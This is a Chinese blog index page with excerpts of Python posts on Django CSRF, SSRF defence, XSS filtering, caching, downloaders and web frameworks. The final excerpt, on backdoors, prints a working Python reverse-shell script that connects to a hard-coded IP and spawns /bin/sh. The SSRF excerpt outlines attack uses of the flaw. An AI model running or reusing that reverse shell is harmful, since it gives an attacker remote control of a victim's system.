Django DeleteView without confirmation template, but with CSRF attack

作者: 分类: Python 时间: 2016-10-14 0:41 评论: 1条评论 浏览: 1465人看过 标签: CSRF漏洞 django

    随便写点东西吧。

    Django的Class based view十分好用,也很灵活。其中DeleteView( https://docs.djangoproject.com/en/1.10/ref/class-based-views/generic-editing/#django.views.generic.edit.DeleteView )有点特别蛋疼的,他理想的流程是这样:点击删除 -> 跳转到确认页面 -> 点击确认删除 -> 删除对象 -> 跳转到success_url。

    这样导致删除的流程特别麻烦,特别是这个“确认页面”:

    sp161014_034704.png

    因为“删除”是一个敏感操作,所以一定要有CSRF防御,所以点击上图这个“是的,我确认”按钮以后,会发送一个POST请求到后端的。Django会自动检查CSRF TOKEN。但实际上,我们也可以操作JavaScript向后端发送PO...

阅读全文>>

谈一谈如何在Python开发中拒绝SSRF漏洞

作者: 分类: Python 时间: 2016-9-30 15:26 评论: 7条评论 浏览: 2035人看过 标签: python ssrf漏洞 requests

0x01 SSRF漏洞常见防御手法及绕过方法

SSRF是一种常见的Web漏洞,通常存在于需要请求外部内容的逻辑中,比如本地化网络图片、XML解析时的外部实体注入、软件的离线下载等。当攻击者传入一个未经验证的URL,后端代码直接请求这个URL,将会造成SSRF漏洞。

具体危害体现在以下几点上:

  • URL为内网IP或域名,攻击者将可以通过SSRF漏洞扫描目标内网,查找内网内的漏洞,并想办法反弹权限
  • URL中包含端口,攻击者将可以扫描并发现内网中机器的其他服务,再进一步进行利用
  • 当请求方法允许其他协议的时候,将可能利用gophar、file等协议进行第三方服务利用,如利用内网的redis获取权限、利用fastcgi进行getshell等

特别是这两年,大量利用SSRF攻击内网服务的案例被爆出来,导致SSRF漏洞慢慢受到重视。这就给Web应用开发者提出了一个难题:如何在保证业务正常的情况下防御SSRF漏洞?

很多开发者认为,只要检查一下请求url的host不为内网IP,即可防御SSRF。这个观点其实提出了两个技术要点:

  1. ...

阅读全文>>

重构Sec-News之路

作者: 分类: Python 时间: 2016-1-12 16:12 评论: 7条评论 浏览: 2608人看过 标签: python sec-news

    不知道什么时候突然发现我已经稳定运行了近半年的sec-news(http://wiki.ioin.in)突然变得特别慢,为跳转效率我也是尝试了很多方法,比如加缓存。我使用了一个叫flask-cache的缓存: https://pythonhosted.org/Flask-Cache/ ,很好用的cache。

    特别喜欢python的一点就是,修饰器(@Decorator)的存在,让很多功能变得简单。flask-cache里有一种cache方式叫Memoization,它可以简单地用Decorator的方式放在任意函数上。根据函数参数的值,来缓存函数的结果。

class Person(db.Model):
    @cache.memoize(50)
    def has_membership(self, role_id):
            return Group.query.filter_by(user=self, role_id=role_id).count() >= 1
    上面是文档里给出的一个example,其缓存了has_membership函数,当我们调用has_membership(1)的时候,就缓存下50秒这个函数的返回值。那么下次再调用has_membership(1)的时候,就会直接返回缓存的结果,但如果你调用has_membership(2),就是另一个缓存了。

    我将flask-cache加到flask的view里,这样就可以缓存整个页面了。

    但是,缓存永远不是解决效率问题的根本方法,解决问题是找到根本原因。我仔细分析了我的sec-news,我认为以前使用的mongodb数据库,是导致整个网站运行慢的原因。

    也的确,我设计mongodb的概念和以前设计mysql的概念完全不同,我设计了这样一个集

阅读全文>>

python富文本XSS过滤器

作者: 分类: Python 时间: 2015-4-8 21:37 评论: 8条评论 浏览: 6207人看过 标签: python 富文本 xss

    前言:那天我正在开发网站最关键的部分——XSS过滤器,女神突然来电话说:“那东西好难呀,别开发了,来我家玩吧!”。我“啪”地一下把电话挂了,想让我的网站出XSS漏洞,没门~

    python做web开发当今已经逐渐成为主流之一,但相关的一些第三方模块和库还没有php和node.js多。

    比如XSS过滤组件,PHP下有著名的“HTML Purifier”(http://htmlpurifier.org/ ),还有非著名过滤组件“XssHtml”(http://phith0n.github.io/XssHtml ),当然后者是我自己开发的。

    python的pip下也可以安装一款名为“html-purifier”的库,但此purifier和php下的就大不相同了。这个库负责将html中,白名单以外的标签和属性过滤掉。

    注意,他并不是过滤XSS的,只是过滤不在白...

阅读全文>>

python编写断点续传下载软件

作者: 分类: Python 时间: 2015-2-23 15:30 评论: 11条评论 浏览: 8732人看过 标签: 断点续传

    一年一度的python小程序编写系列之——断点续传下载软件。

    一、HTTP断点续传原理

    其实HTTP断点续传原理比较简单,在HTTP数据包中,可以增加Range头,这个头以字节为单位指定请求的范围,来下载范围内的字节流。如:

    QQ20150223-1@2x.png

    如上图勾下来的地方,我们发送数据包时选定请求的内容的范围,返回包即获得相应长度的内容。所以,我们在下载的时候,可以将目标文件分成很多“小块”,每次下载一小块(用Range标明小块的范围),直到把所有小块下载完。

    当网络中断,或出错导致下载终止时,我们只需要记录下已经下载了哪些“小块”,还没有下载哪些。下次下载的时候在Range处填写未下载的小块的范围即可,这样就能构成一个断点续传。

    其实像迅雷这种多线程下载器也是同样的原理。将目标文件分成一些小块,再分配给不同线程去下载,最后整合再检查完整性即可。


    ...

阅读全文>>

Tornado模板对空白字符的处理与解决方案

作者: 分类: Python 时间: 2014-12-29 21:27 评论: 1条评论 浏览: 4053人看过 标签: python tornado

    Tornado模板引擎一直有一个坑,有时候你可能觉得并不影响正常使用,但强迫症就是受不了:模板会去掉每行前后的空格。

    最后出来的页面就是这样:

    01.jpg

    不缩进真的很影响心情的好吧,特别是对一个python开发者。

    国外一些Q&A对这个情况也有一些讨论,其中提到比较多的就是compress_whitespace。在github找到一个issue:https://github.com/tornadoweb/tornado/issues/178,就是在抱怨空白字符的问题。空白字符在<pre>中被去除,导致代码标签“<pre>”这块出问题。

    我们看看tornado代码吧,这是Template类的构造函数……


阅读全文>>

用py实现一个时钟

作者: 分类: Python 时间: 2014-11-12 22:53 评论: 0条评论 浏览: 3852人看过 标签: 字符画

    双十一啥都没买,一没妹纸二没钱,干脆坐电脑前面写代码吧。看到 @阿里云安全 发的微博:

    05.jpg

    我想,这个简单啊,作为一个忠实的py党,一分钟写了个简单的...

阅读全文>>

web.py指南性说明

作者: 分类: Python 时间: 2014-5-30 10:51 评论: 12条评论 浏览: 12150人看过 标签: web.py


    整理一下这些天研究web.py的一些经验,写一篇具有划时代意义的指南性说明~哈哈,开个玩笑,谨以此文献给所有学习web.py的同学以及Aaron Swart.

    web.py是一个开发web应用的python框架,相比于著名的Django与TurboGears,web.py更加让人感觉是用python在写网站。没有复杂的语法规则,简单的一个实现http协议的框架,不依赖其他packet,不依赖操作系统。当然也是有弊端的,框架只实现了基础的web功能,很多功能需要自己动手写,不像php那样一两个函数就搞定任务。

    正如我上句话说的,web.py十分简单,安装只需要sudo easy_install web.py即可,不到2秒中,框架已经躺在服务器里了。如果你没有安装easy_install(比如windows环境),也可以手工安装。github上下载源码,直接安装:

python ./setup.py install
    装好以后试一下,import web,没有抛错说明安装成功了。


阅读全文>>

python 实现 php 的 var_dump 功能

作者: 分类: Python 时间: 2014-5-20 1:28 评论: 2条评论 浏览: 4829人看过 标签: python var_dump

    最近在做python的web开发(原谅我的多变,好东西总想都学着。。。node.js也是),不过过程中总遇到些问题,不管是web.py还是django,开发起来确实没用php方便,毕竟存在的时间比较短,很多不完善的地方。

    比如我在调试php中最常用的函数,var_dump,在python里找不到合适的替代函数。php中var_dump是一个特别有用的函数,它可以输出任何变量的值,不管你是一个对象还是一个数组,或者只是一个数。它总能用友好的方式输出,我调试的时候经常会需要看某位置的变量信息,调用它就很方便:

    16.jpg

    但是开发python的时候就没有太好的替代方案。

    之前想到repr,但这个函数只是调用了对象中的__str__,和直接print obj没啥区别。print是打印它,而

阅读全文>>

python正向连接后门

作者: 分类: Python 时间: 2014-4-12 0:12 评论: 5条评论 浏览: 7977人看过 标签: socket cmd后门 python
    python在linux下的反弹shell代码我相信很多人都见过:
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("59.188.234.64",14575))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);

    原理很简单。新建一个socket,并将0、1、2分别代表系统的stdin、stdout、stderr(标准输入、输出、错误)重定向到socket中,然后开启一个shell。这样我们从socket中传来的命令就会进入系统的标准输入(就跟键盘输入的效果一样了),系统的输出和错误就会重定向到socket中,被我们客户端获取。但这个弹shell脚本只能在linux下使用。

    那么,本...

阅读全文>>

Top ↑ sitemap More